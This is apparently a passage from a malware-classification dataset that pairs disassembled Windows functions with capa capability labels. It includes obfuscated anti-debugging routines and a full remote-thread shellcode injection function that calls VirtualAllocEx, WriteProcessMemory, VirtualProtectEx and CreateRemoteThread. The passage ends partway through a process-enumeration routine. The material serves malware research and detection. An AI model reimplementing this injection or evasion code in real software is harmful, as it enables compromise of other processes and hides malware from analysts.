joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14027e1db
Capabilities:
Authenticate hmac

Disassembly:
test ebx, ebx
lea rsp, [rsp + 8]
je 0x1402ef4ce

Function at 0x140281313
Capabilities:
Authenticate hmac

Disassembly:
jne 0x140296adf
mov eax, dword [r11 + rdi - 7]
lea rcx, [rdi*2 + 0x296f706]
lea r11, [r11 + rdi - 3]
xor eax, ebx
lea r10, [rcx*2 + 0x1982c39d]
rol eax, 1
xor eax, 0xcbbebba3
ror eax, 1
mov qword [rsp + rdi - 7], rcx
bswap eax
sub rcx, qword [rsp + rdi - 7]
jae 0x140289903
xadd ecx, edi
mov qword [rsp + rdi*2], rbx
jns 0x1402d002e
mov ebx, 0x4d0963b2
movsx esi, bl
mov ecx, dword [rbx + r10 - 0x4d0963b2]
sar bx, 0xad
lea r10, [r10 + rbx - 0x4d08ffff]
lea r11, [rsi*8 + 0x5d9b3bbd]
adc si, 0x23f
shl bl, 0xe7
xor ecx, edi
and rbx, 0xffffffffacae5898
movzx edx, sil
mov r9d, esi
not ecx
shr r11, 0xb5
bswap ecx
push r9
inc r11d
adc ecx, r11d
lea rsi, [rsi*8 - 0x55ebfa62]
neg edx
lea rbx, [r9*8 - 0x4df491c3]
xor ecx, 0xb90088be
xchg r9d, edx
xadd word [rsp + r11 - 1], r11w
bswap r11
neg ecx
dec ecx
mov qword [rsp], rdi
movzx eax, sil
dec r11
xor dword [rsp + rax*8 - 0x130], ecx
neg ax
xor dx, 0xd732
pop rdi
jbe 0x140276963
movsxd rcx, ecx
jle 0x140263406
adc rbp, rcx
lea rcx, [rbx + r9 - 0x5c6f8158]
dec rsi
add al, r11b
mov rax, qword [r8 + rax*8 - 0x7fec8]
rol ecx, 0xb6
xadd r9d, ecx
mov si, word ss:[rax]
add r8, 6
mov word [r8], si
jmp rbp
movsx ebx, di
xor dword [rsp + rdi*2], eax
mov r9d, ebx
pop rbx
dec cx
movsxd rax, eax
setl r10b
sar ecx, cl
adc r8, rax
jmp 0x1402c6a90

Function at 0x140282683
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
xor ebp, esi
call fcn.1402e3aea
lea r10, [r9 + r9*4 - 0x5a50a9ef]
mov r10w, word [rbp + r9 - 0x4f34891a]
mov cl, byte [r9 + rbp - 0x4f348918]
mov esi, r9d
movzx edi, r9b
shr r9d, 0xb4
lea rbp, [rbp + r9*2 - 0x9e2]
inc r9d
shrd ax, r10w, cl
lea rcx, [rdi*8 + 0x44262e05]
mov word [r9 + rbp - 0x4f4], ax
dec rsi
call fcn.1402648a9

Function at 0x1402877f1
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
lea rdi, [rdi + r9 - 0x36eaaeff]
xor ecx, 0x2d39dca3
call fcn.1402e8061
mov edx, 0x3ba26d87
lea rdi, [rdx + rdx*2 + 0x74017830]
mov rcx, qword [r11 + rdx*2 - 0x7744db0e]
mov edi, dword [r11 + rdx*2 - 0x7744db06]
mov ebx, edx
lea r11, [r11 + rdx - 0x3ba26d7b]
jmp 0x1402dfcca
push rsi
xor r9, r9
xor dword [rsp + r9*2], ebx
or r9b, al
or edi, ecx
pop rsi
movsxd rbx, ebx
xadd dx, cx
ror eax, cl
call fcn.1402b3037
mov qword [rbp + rax*4 - 0x64366eb4], rdi
mov edi, r9d
mov ecx, dword [r11 + r9 - 0x190d7d00]
xchg ah, al
add r9d, 0xef9098bd
lea r11, [r11 + rax*4 - 0x6436b668]
xor ecx, ebx
jmp 0x140246a38
sub edx, 0xccb7ac1d
mov r9d, dword [rsp + r11 - 0xbd]
dec dword [rsp + r11 - 0xc5]
ror edx, 2
rol byte [rsp + r11 - 0xb1], 0x22
movsx ecx, word [rsp + r11 - 0xc5]
mov qword [rsp + r11*2 - 0x186], rdi
call fcn.1402a5793
shl r9b, 0xe5
jns 0x140268adf
shl dil, cl
mov word [r11 + rbx - 0x15], di
shl al, 0x83
lea r8, [r8 + rbx*2 - 0x2e]
mov ebx, dword [r8 + rbx*2 - 0x2a]
xor ebx, esi
ror ebx, 1
lea rbp, [rdx + rax*4 + 0x3384db15]
rol ax, 0xa8
inc ebx
inc r9d
movzx ecx, dx
neg ebx
ror dl, 0x66
sal rbp, cl
movzx edi, dx
inc ebx
jmp 0x14024f05d
Function at 0x1402892a5
Capabilities:
Authenticate hmac

Disassembly:
movsxd r9, r9d
adc r10, r9
push rdi
bswap rbx
sar dword [rsp + rdx - 0x724d7f4d], 0x2a
mov edx, dword [r11 + rdi - 8]
neg rbp
mov qword [rsp + rdi], rbx
lea r11, [r11 + rdi - 4]
jno 0x1402a64fe

Function at 0x1402892ce
Capabilities:
Authenticate hmac

Disassembly:
xor r10, rbx
ror r10, 1
mov qword [rsp + rax*2 - 0x6703792e], rax
lea rsi, [rcx + rax*2 + 0x700c7a1]
shr byte [rsp + rax*2 - 0x6703792d], 0xa3
bswap r10
call fcn.1402cfef6
pop rbx
shl al, cl
movsxd r9, r9d
adc r8, r9
jmp 0x1402c0e83
not r9d
rol r9d, 2
lea rcx, [rdi + 0x328e9c2f]
ror r10d, 0x75
jae 0x140251afe
jnp 0x14024fa1a
adc r10, r9
movzx r9d, cx
mov qword [rsp + rcx*8], r10
ret 0x10
mov dword [rbp + r9 - 0xc5bc], eax
pop r10
mov qword [rsp + r9 - 0xc5b4], r9
pop r10
mov r9d, dword [r9 + r11 - 0xc5bc]
lea r11, [r11 + r10*4 - 0x316ec]
xor r9d, ebx
mov qword [rsp + r10*4 - 0x316e0], rdi
mov qword [rsp + r10*8 - 0x62dd8], 0x7e030a23
lea r9d, [r9 + r10*2 + 0x44225e26]
ror dword [rsp + r10*4 - 0x316dc], 0x21
jb 0x140269930
xor rdx, 0x5a9f6794
xadd eax, edi
mov rsi, qword [rbp + rcx*2 - 0x108]
mov dil, byte [rbp + rax - 0x7b25ee03]
lea rbp, [rax + rbp - 0x7b25ee01]
rol rax, 0x4f
mov byte es:[rsi + rcx*2 - 0x108], dil
jmp r8

Function at 0x14028a0a7
Capabilities:
Authenticate hmac

Disassembly:
jmp 0x1402e1fa0
lea rsp, [rsp + 0x10]
jne 0x14028ce41

Function at 0x14028dd2b
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
lea edx, [rdx + rcx*2 - 0x74e86411]
pop rax
movsx ebx, cl
bswap edx
ror edx, 3
inc edx
mov r9d, 0xac0bc635
push rsi
xor dword [rsp], edx
pop rsi
call fcn.1402aeea9
not si
mov qword [rsp + rbx - 0x322e32a2], rcx
dec byte [rsp + rbx - 0x322e329e]
shr word [rsp + rbx - 0x322e329e], 0x63
xor si, 0xb89c
xor di, si
lea rsi, [rsp + rsi + 8]
sal byte [rsp + rbx*2 - 0x645c6540], 0x27
jbe 0x1402dabb7
mov rcx, qword [r11]
push 0xffffffffeaaa7b17
mov rdi, qword [rcx]
mov qword [r11], rdi
sub r8, 4
mov edx, dword [r8]
xor edx, esi
ror edx, 1
xor edx, 0x6c94da80
mov ecx, 0x95bddb8f
movzx eax, byte [rsp + 2]
neg edx
sub dword [rsp + rax - 0xa8], 0xf19fc519
jns 0x14025bbc8

Function at 0x14028e28a
Capabilities:
Authenticate hmac

Disassembly:
jmp 0x140295f21
cmp ebx, 2
lea rsp, [rsp + 0x10]
jne 0x1402d16e5
mov edx, 0xf7bc0735
push rdx
mov rdx, rax
lea rsp, [rsp + 8]
jmp 0x140273667
jmp 0x140278b36

Function at 0x1402902db
Capabilities:
Authenticate hmac

Disassembly:
lea r11, [rdx + rax + 0x3082c2a5]
mov qword [rsp + rcx - 0x76b52a9d], rbx
dec r9d
mov qword [rsp + rcx - 0x76b52a95], rbx
not dl
bswap r9d
not r9d
mov qword [rsp + rbx*2 - 0xa9d0], 0x3d8e5b06
or rbx, rbx
call fcn.1402b8df3

Function at 0x1402985ed
Capabilities:
Authenticate hmac

Disassembly:
rol rsi, cl
mov qword [rsp + rsi*4 - 0xc90], rbx
mov qword [rsp + rcx - 0x71c16c02], rsi
call fcn.1402b2f30

Function at 0x1402a36fe
Capabilities:
Authenticate hmac

Disassembly:
lea rdi, [rsp + rdi + 0x28]
call fcn.1402d9ff6
Function at 0x1402ae229
Capabilities:
Authenticate hmac

Disassembly:
add r8, rcx
pop rdi
pop r10
jmp fcn.140272fb1
mov qword [rsp + r9 - 0x101e], rdi
mov rbx, qword [rsp + r9 - 0x1016]
rol si, 5
movsxd rcx, ecx
rol dx, 0x6c
neg ax
jno 0x14026e297

Function at 0x1402b9f29
Capabilities:
Authenticate hmac

Disassembly:
cmp ebx, 4
lea rsp, [rsp + 8]
jbe 0x140251ae9
mov ecx, 0x28027b37
lea rax, [rcx + rcx*2 + 0x47a34fbb]
jmp 0x14027ccd6
mov qword [rsp], 0xffffffffbcac5120
xor ecx, ecx
jmp 0x14026dec4

Function at 0x1402bddbc
Capabilities:
Authenticate hmac

Disassembly:
adc rbp, r9
or cl, 0x99
xadd esi, eax
mov r8d, dword [r8 + rsi - 0x3867d92a]
movzx r9d, al
lea rsi, [rcx*2 - 0x34f85ef7]
jnp fcn.1402dc2e3
not cx
rol r11b, 0xa5
sal r11b, 0x45
neg cx
movzx ebx, ax
sub cx, 0xd837
shl dx, 0x43
sbb rbx, 0x37035d85
xor di, cx
dec r11w
add r11, 0xffffffffdb3237bf
add rcx, rsp
sal r11d, 0xde
neg rbx
sub r9d, eax
mov qword [r9 + rcx - 0x20a250fa], rsi
movsx ecx, bl
sbb r9, 0xffffffff9428a2b6
mov esi, dword [rbx + r10 - 0x3702a27f]
lea r10, [r10 + rbx*2 - 0x6e0544fa]
xor esi, edi
call fcn.1402ec424
lea r8, [r8 + rdi - 0x520a2c3d]
lea rbp, [rbx + r9*4 - 0xd6d7c79]
xadd r9d, eax
jne 0x14029042e
movsxd r9, r9d
jne 0x1402460e5
mov ecx, 0xefae5d83
mov rsi, qword [r8]
add r8, 8
mov eax, ecx
movzx ecx, word [r10]
mov edx, eax
movsx r11d, dl
movsx r9d, r11b
add r10, 2
shl r9w, 0x4a
xor cx, di
shl eax, 0xc1
and r11w, dx
sbb cx, 0x400f
jmp 0x14026f5ab
mov cl, byte [r11 + rdi - 0x55a7]
mov qword [rsp + rdi - 0x55ab], r9
lea r11, [r11 + rdi - 0x55a7]
shr rdx, 0x9e
movzx eax, r9b
shld bx, bp, cl
push rdx
not dword [rsp + rdi - 0x55a7]
mov word [rdi + r11 - 0x55ab], bx
mov ebx, edi
add edi, 0x5209d68e
jns 0x140282364
not r9d
push rdi
xor dword [rsp + rax + 0x180b87ae], r9d
sal eax, 0x30
pop rdi
jne 0x14028795f
movsx edx, ax

Function at 0x1402bde3c
Capabilities:
Authenticate hmac

Disassembly:
mov qword [rsp + rbp - 0x211125b9], rsi
lea rsi, [rbp + rbp*2 + 0x48098c87]
call fcn.14027461b
Function at 0x1402cea54
Capabilities:
Authenticate hmac

Disassembly:
shr edx, 8
rol word [rsp + 0xd], 9
xor edx, r9d
inc rax
xor edx, 0x203c31a
dec rdi
jmp 0x1402882d0

Function at 0x1402cfef6
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
sub r8, 4
mov r9d, dword [r8]
mov ebx, 0x743c33ab
xor r9d, esi
movsx edi, bl
lea rcx, [rbx + rbx*8 - 0x6744414e]
mov ebp, edi
inc r9d
not r9d
lea rdx, [rbx*2 - 0xbe5376b]
sal dx, 0x41
inc r9d
movsx eax, bl
bswap r9d
shr edi, 0xbf
sal edi, 3
not rbp
push rsi
shl edx, 0xe2
xor dword [rsp + rbx - 0x743c33ab], r9d
lea rbp, [rcx + rax*2 + 0x101ddb19]
pop rsi
and bx, di
sub edx, edi
call fcn.1402892a5
rol ebx, cl
lea rdx, [rax + rbx*4 - 0x5458ce55]
xor r9d, 0x1b1e7d1e
sal bl, 0xe5
shr dil, 0x41
ror r9d, 1
not rcx
sal ebx, 0x97
jp 0x1402ee622
jbe 0x1402f43dd
xadd bl, bpl
bswap r9d
jo 0x1402a96e1
mov rdx, qword [r8]
add r8, 8
call fcn.140276fb8
jmp 0x14027521b
push rsi
not rax
xor rdi, rdx
ror edi, 0x93
xor dword [rsp + rbp*4 - 0x22441e54], r9d
pop rsi
call fcn.1402e01e1
pop rsi
add rsi, 0x3e09
jmp rsi

Function at 0x1402d8224
Capabilities:
Authenticate hmac

Disassembly:
push rbx
jmp 0x1402a2fe0
xor dword [rsp + r9*2 + 2], r10d
pop rbx
lea rdx, [rax*2 - 0x84262ef]
movsxd r10, r10d
add r8, r10
movzx esi, cx
and di, di
mov rax, qword [r9 + rbp + 1]
mov esi, dword [rbp + r9*8 + 0x10]
sub cl, r9b
ja 0x14027b5f2
lea rbp, [r9 + rbp + 0xd]
or edx, edi
add edx, ecx
mov dword ss:[r9 + rax + 1], esi
jmp r8
add r11, 4
movsx esi, dil
and si, si
xor r10d, ebx
lea r10d, [r10 + rsi*4 - 0xca1c612]
movsx ecx, di
sal rdi, 0xf9
movsx r9d, dil
rol r10d, 3
bswap r10d
not r9
movzx edx, sil
lea rax, [r9 + rdx*2 - 0xd7db2d6]
lea r10d, [r10 + rsi*2 + 0x689022e6]
xor r10d, r9d
pop rsi
inc rdx
ror r10d, 3
neg r10d
jmp 0x14028078c

Function at 0x1402d9b9b
Capabilities:
Authenticate hmac

Disassembly:
lea rsp, [rsp + 8]
jne 0x1402c2382
mov r9, rax
push 0x2607570c
call fcn.1402b0851

Function at 0x1402e0cec
Capabilities:
Authenticate hmac

Disassembly:
mov word ss:[r9 + rax - 0x4c], dx
call fcn.1402e885e

Function at 0x1402e0cf8
Capabilities:
Authenticate hmac

Disassembly:
push rcx
mov word [rax + r11 + 0x2031], di
pop rbx
pop rdx
pop rax
pop rbx
pop rax
js fcn.14029bfc2
movsxd rdi, edi
jg 0x1402a5997
movsx edi, dx
mov dword [rbp + rdx*8], ecx
lea r8, [rdx + r8 - 4]
xor al, 0x8d
movsx ecx, dl
mov ebp, edx
or edi, dword [rdx + r8]
xor edi, esi
not edi
jmp 0x14025d276
adc r8, rdi
jmp 0x1402525a5
lea r9, [rsp + r9 + 0x18]
mov di, word [r9 + rdi - 0xa07d03]
push rax
rol rcx, cl
not rbp
lea r11, [r11 + rax*2 - 0x7c479820]
or rax, rbp
jp 0x1402426bc
movsx eax, cx
inc edi
mov ebx, r9d
neg r9d
and eax, edx
rol edi, 2
add bpl, bl
inc edi
neg edi
add cx, 0x9eae
push rsi
call fcn.14029b820
Function at 0x1402e8c76
Capabilities:
Encode data using base64

Disassembly:
mov edi, 0x73ab6b0a
movsx r9d, di
mov edx, dword [r8 + rdi - 0x73ab6b0e]
movzx ecx, dil
movsx eax, di
lea r8, [rdi + r8 - 0x73ab6b0e]
jmp 0x1402a2e05
neg ecx
jne 0x1402a466b
xor edx, esi
movzx ebp, cl
lea rbx, [rax*2 + 0x1bacac8e]
lea rcx, [rbp + rdi - 0x7f757461]
xor edx, 0x4a2ee22a
ror al, 0xc1
inc edx
xor rbp, 0x6b2e28b8
sal r9, 0xce
and rdi, rbp
xor edx, 0x5948386
bswap rbx
bswap edx
ror edx, 1
push rsi
xor rbp, 0xffffffff90bfe0b9
push rbx
setnp al
xor dword [rsp + rdi - 0x632a2802], edx
and rdi, qword [rsp + rdi - 0x632a280a]
shr cl, 0x43
adc qword [rsp + rdi*2], 0xffffffffef8b7a3c
mov rsi, qword [rsp + rdi*4 + 8]
sbb qword [rsp + rdi*2], 0xffffffff9b9ba13f
sbb rbp, rax
push r9
movsxd rdx, edx
adc r10, rdx
mov rdx, qword [r11 + rdi]
ror edi, cl
sal rbx, cl
jbe 0x1402b1a57
mov rax, qword ss:[rdi + rdx]
xadd bx, di
neg ebp
mov rdx, rax
call fcn.1402b3f5c
mov qword [rsp + rbx - 0x15], rsi
xor dword [rsp + rbx*2 - 0x42], edi
mov rsi, qword [rsp + rbx - 0x15]
lea r9, [rbx*2 + 0x7cba93aa]
sar r9b, 0x87
movsxd rdi, edi
adc r10, rdi
ror rcx, cl
mov edi, edx
mov rcx, qword [r8 + rbx*4 - 0xc2]
sar dx, 0xe6
xor rcx, rsi
ror di, 0xab
lea rcx, [rbp + rcx - 0x4cb95d49]
rol rcx, 4
dec bx
xor rcx, 0x7da7779c
neg rcx
sub dword [rsp + rbx*8 - 0x14f], 0xba213986
xor rcx, 0xffffffffcaa57816
and ebx, dword [rsp + rbx - 0x28]
xor rsi, rcx
mov qword [rbx + r11 - 0x36], rcx
not edx
dec qword [rsp + rbp - 0x4e17f72d]
lea rcx, [rax*4 + 0x5e0c7f9c]
movzx edx, byte [r8 + rbx*4 - 0xbf]
lea r8, [rbp + r8 - 0x4e17f73c]
call fcn.1402c82da
sal ebx, 0x83
neg eax
shl rdx, cl
mov qword [rsp + rbx - 0x22488], r11
shl dx, 0x88
mov qword [rsp + rbx - 0x22488], rdi
jae 0x1402e64d9
add bl, cl
neg eax
xchg rsi, rdx
mov qword [rsp + rdx*4 - 0x184], rdi
call fcn.1402681e0
jmp 0x140299f55
Function at 0x1402ee215
Capabilities:
Authenticate hmac
Execute anti-debugging instructions

Disassembly:
rol r10d, 3
or rsi, rdi
movzx eax, cl
sal sil, 0x23
bswap r10d
ror r10d, 3
dec edi
and sil, r9b
push rbx
ja 0x1402f63e7
or al, byte [rsp + r10 + 0x7ab656c5]
lea rbp, [rbp + r9 + 0x204a6843]
mov qword [r10 + rbp + 0x7ab656ba], rdi
xadd dword [rsp + r9 + 0x204a685c], r9d
movsx edi, r9w
or qword [rsp + r10 + 0x7ab656c5], 0xffffffffaf2fdc34
pop rsi
pop rcx
pop rcx
jl fcn.140272fb1
and r10w, 0xbc3e
not r9d
xchg rdx, r10
cmovns r10d, edx
rol r9d, 1
dec r9d
rol r9d, 2
sub rsi, 0x2e84a314
push rdx
mov qword [rsp + rdi*2 + 0x20e805f4], rbx
call fcn.14027f218
lea r8, [r8 + rdi - 0x4f050004]
dec bp
shr dil, 0xc3
mov edi, dword [rdi + r8 - 0x4f050000]
xor edi, esi
call fcn.140259db6
lea rsp, [rsp + 8]
jmp 0x14029bd4b
movsxd rax, eax
call fcn.140244492
mov qword [rsp + rax - 0x4f052df8], rcx
shr di, cl
xor si, dx
add di, word [rsp + rax - 0x4f052df3]
mov ebp, dword [rsp + rcx*2 - 0xa5c109d]
lea r11, [r11 + rdi - 0x4f050002]
sal dil, 0xe1
mov qword [rsp + rax - 0x4f052df8], rcx
mov word [r11 + rax - 0x4f052e08], dx
jp 0x14029328b
add r11, 4
movzx ecx, r9b
xor r10d, ebx
dec r10d
mov edi, 0x2212f58f
and si, cx
jno 0x14024ad37
xor dword [rsp + rcx*2 - 0x1b8], r10d
ror ecx, cl
pop rbx
movzx edx, di
movsxd r10, r10d
jb 0x14028d3e0
shl rdx, 0x99
adc r8, r10
xor si, r9w
mov ax, word [rbp + rcx - 0xdba]
movsx r10d, r9w
sar rdx, 0xf6
mov di, word [rcx + rbp - 0xdb8]
jp 0x1402f6b02
and rbp, 0x7f8772bc
rol eax, 2
call fcn.140245932
shl r9, 0x62
add ax, di
mov word [rcx + rbp - 0xdb8], ax
movsx eax, dx
sub dl, r10b
lea rbp, [rcx + rbp - 0xdb8]
and r9d, r10d
xor r9w, 0xf3ae
or rax, r8
jmp rax

Function at 0x1402f63ab
Capabilities:
Authenticate hmac

Disassembly:
mov r9d, ebx
lea r8, [r9 + r8 - 0x7532c82c]
call fcn.140261ce2
adc rbp, r11
sar bx, 0x2e
pop rbx
bswap rbx
mov rbx, qword [r8]
neg rdx
mov rdx, qword [r8 + 8]
mov qword [rsp], 0x4336db87
shr word [rsp], 0xc
add r8, 0xc
xor esi, esi
test rdx, rdx
call fcn.14025af22
mov ebp, 0x23ab6aad
mov eax, ebp
movzx r9d, al
lea r8, [r8 + rbp - 0x23ab6ab1]
mov r9d, dword [r8 + rax - 0x23ab6aad]
xor r9d, esi
movsx edx, bp
call fcn.14024e7cd
mov ebx, 0xba996419
mov r11d, ebx
inc bl
mov rsi, qword [r8]
add rbx, rbx
jns 0x140281c1b
mov esi, dword [r10 + r9 - 0xf8d84bd]
lea r10, [r10 + r9 - 0xf8d84b9]
movzx eax, r9b
call fcn.1402f0974
call fcn.1402f532d
jno 0x140290312
lea r10, [r10 + rsi*2 - 0x2f77c574]
xor r9d, edi
ror r9d, 3
mov ebx, 0xa4a81605
dec bx
rol ebx, 0x8c
xor r9d, 0x8d98ea23
mov qword [rsp + rsi*4 - 0x5eef8af0], rsi
neg word [rsp + rsi - 0x17bbe2b7]
ror r9d, 1
not r9d
jmp 0x140297abc
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140f0fa10]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140f0fa20]
mov dword [rax], 1
mov rax, qword [0x140f0fa30]
mov dword [rax], 1
mov rax, qword [0x140f0f9a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140f0fa00]
mov dword [0x140f1300c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140f0fae0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140f0fac0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140f0f980]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140f0fa60]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140f0fa70]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140f13008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140f0f9d0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140f0fa50]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140f13028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140f13020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140f13020], rbp
call dbg.__main
mov rax, qword [0x140f0f9e0]
mov r8, qword [0x140f13018]
mov ecx, dword [0x140f13028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140f13020]
call sym.main
mov ecx, dword [0x140f1300c]
mov dword [0x140f13010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140f13008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140f0fa70]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140f0fa90]
mov rcx, qword [0x140f0fa80]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140f13010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140f0fab0]
mov rcx, qword [0x140f0faa0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001a95
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001b19
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____VirtualAllocEx_Failed_With_Error_:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140001cb0
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str._i__Allocated_Memory_At_:_0x_p__n
mov rcx, rax
call dbg.printf
lea rax, str.___Press__Enter__To_Write_Payload_...
mov rcx, rax
call dbg.printf
call sym.getchar
mov r9, qword [rbp + 0x20]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x140001b76
mov rax, qword [rbp - 0x10]
cmp qword [rbp + 0x20], rax
je 0x140001b9a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____WriteProcessMemory_Failed_With_Error_:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140001cb0
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rax, str._i__Successfully_Written__d_Bytes_n
mov rcx, rax
call dbg.printf
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x14]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x140001c17
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____VirtualProtectEx_Failed_With_Error_:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140001cb0
lea rax, str.___Press__Enter__To_Run_...
mov rcx, rax
call dbg.printf
call sym.getchar
lea rax, str._i__Executing_Payload_...
mov rcx, rax
call dbg.printf
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
test rax, rax
jne 0x140001c9c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____CreateRemoteThread_Failed_With_Error_:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140001cb0
lea rax, str.___DONE__
mov rcx, rax
call sym.puts
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x140001cb6
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x140001d05
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____CreateToolhelp32Snapshot_Failed_With_Error_:__d_n
mov rcx, rax
call dbg.printf
jmp 0x140001d9c
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
jne 0x140001d52
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Process32First_Failed_With_Error_:__d_n
mov rcx, rax
call dbg.printf
